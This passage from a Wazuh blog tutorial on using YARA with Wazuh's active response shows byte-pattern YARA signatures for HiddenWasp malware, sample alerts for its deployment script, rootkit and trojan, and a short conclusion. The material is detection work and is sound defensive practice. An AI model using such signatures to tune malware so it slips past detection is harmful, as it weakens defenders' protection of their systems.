		$a3 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 39 ?? 0F 85 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
		$a4 = { C6 ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 8B ?? ?? FC 31 ?? B9 ?? ?? ?? ?? F2 ?? 31 ?? F7 ?? 4? 89 ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 ?? 66 ?? 88 ?? AA 7D [0-128] 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? BB ?? ?? ?? ?? 31 ?? FC 89 ?? 89 ?? F2 ?? 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? F7 ?? }
		$a5 = { 81 E? ?? ?? ?? ?? 31 ?? BE ?? ?? ?? ?? FC 88 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? F7 ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 89 ?? 74 [0-128] 5? 68 }
		$a6 = { 0F 86 [0-128] 31 ?? 83 ?? ?? ?? 0F 86 [0-128] 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? D3 ?? 31 ?? 8B ?? ?? 23 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 89 ?? ?? }
		$b0 = { EB [0-128] 8B ?? ?? 3B ?? ?? 7C [0-128] 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? }
		$b1 = { ?? 48 ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 39 ?? 75 [0-128] E8 ?? ?? ?? ?? 83 ?? ?? 74 [0-128] 48 }
		$b2 = { 75 [0-128] 48 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 79 [0-128] 48 }
		$b3 = { ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 79 [0-128] 48 ?? ?? ?? E8 ?? }
		$b4 = { 0F B6 ?? 48 ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? 66 ?? ?? 83 [0-128] 8B ?? ?? 3B ?? ?? 7C [0-128] 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? ?? C6 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? ?? C6 ?? ?? 48 ?? ?? ?? }
		$b5 = { ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 75 [0-128] 48 ?? ?? ?? ?? ?? ?? BA ?? }

	condition:
		all of ($a*) or all of ($b*)
}

Wazuh alerts

The YARA rules above generate these alerts when executed through the Wazuh active response:

{
	"timestamp": "2020-06-09T08:15:07.187+0000",
	"rule": {
		"level": 10,
		"description": "YARA HiddenWasp_Deployment detected.",
		"id": "100102",
		"firedtimes": 1,
		"mail": false,
		"groups": ["yara"]
	},
	"agent": {
		"id": "001",
		"name": "yara-agent",
		"ip": "10.0.2.x"
	},
	"manager": {
		"name": "wazuh-manager"
	},
	"id": "1591690507.38027",
	"full_log": "wazuh-yara: info: HiddenWasp_Deployment /home/user/script.sh",
	"decoder": {
		"name": "yara"
	},
	"data": {
		"yara_rule": "HiddenWasp_Deployment",
		"file_path": "/home/user/script.sh"
	},
	"location": "/var/ossec/logs/active-responses.log"
}
{
	"timestamp": "2020-06-09T08:18:47.901+0000",
	"rule": {
		"level": 10,
		"description": "YARA HiddenWasp_Rootkit detected.",
		"id": "100102",
		"firedtimes": 1,
		"mail": false,
		"groups": ["yara"]
	},
	"agent": {
		"id": "001",
		"name": "yara-agent",
		"ip": "10.0.2.x"
	},
	"manager": {
		"name": "wazuh-manager"
	},
	"id": "1591690407.33120",
	"full_log": "wazuh-yara: info: HiddenWasp_Rootkit /home/user/binary",
	"decoder": {
		"name": "yara"
	},
	"data": {
		"yara_rule": "HiddenWasp_Rootkit",
		"file_path": "/home/user/binary"
	},
	"location": "/var/ossec/logs/active-responses.log"
}
{
	"timestamp": "2020-06-09T11:10:01.229+0000",
	"rule": {
		"level": 10,
		"description": "YARA HiddenWasp_Trojan detected.",
		"id": "100102",
		"firedtimes": 1,
		"mail": false,
		"groups": ["yara"]
	},
	"agent": {
		"id": "001",
		"name": "yara-agent",
		"ip": "10.0.2.x"
	},
	"manager": {
		"name": "wazuh-manager"
	},
	"id": "1591701001.39854",
	"full_log": "wazuh-yara: info: HiddenWasp_Trojan /home/user/another_binary",
	"decoder": {
		"name": "yara"
	},
	"data": {
		"yara_rule": "HiddenWasp_Trojan",
		"file_path": "/home/user/another_binary"
	},
	"location": "/var/ossec/logs/active-responses.log"
}

You can also create custom dashboards in Kibana for this integration:

YARA dashboard Kibana

Conclusion

The Wazuh active response module lets you react on any type of alert triggered in the system, creating very powerful behaviors.

In this case, you are taking advantage of Wazuh FIM, using it almost as a high-level heuristic to signal which files should be scanned by YARA, saving time and resources in the process.

References

If you have any questions about this, join our Slack community channel! Our team and other contributors will help you.

The post How to integrate YARA with Wazuh appeared first on Wazuh.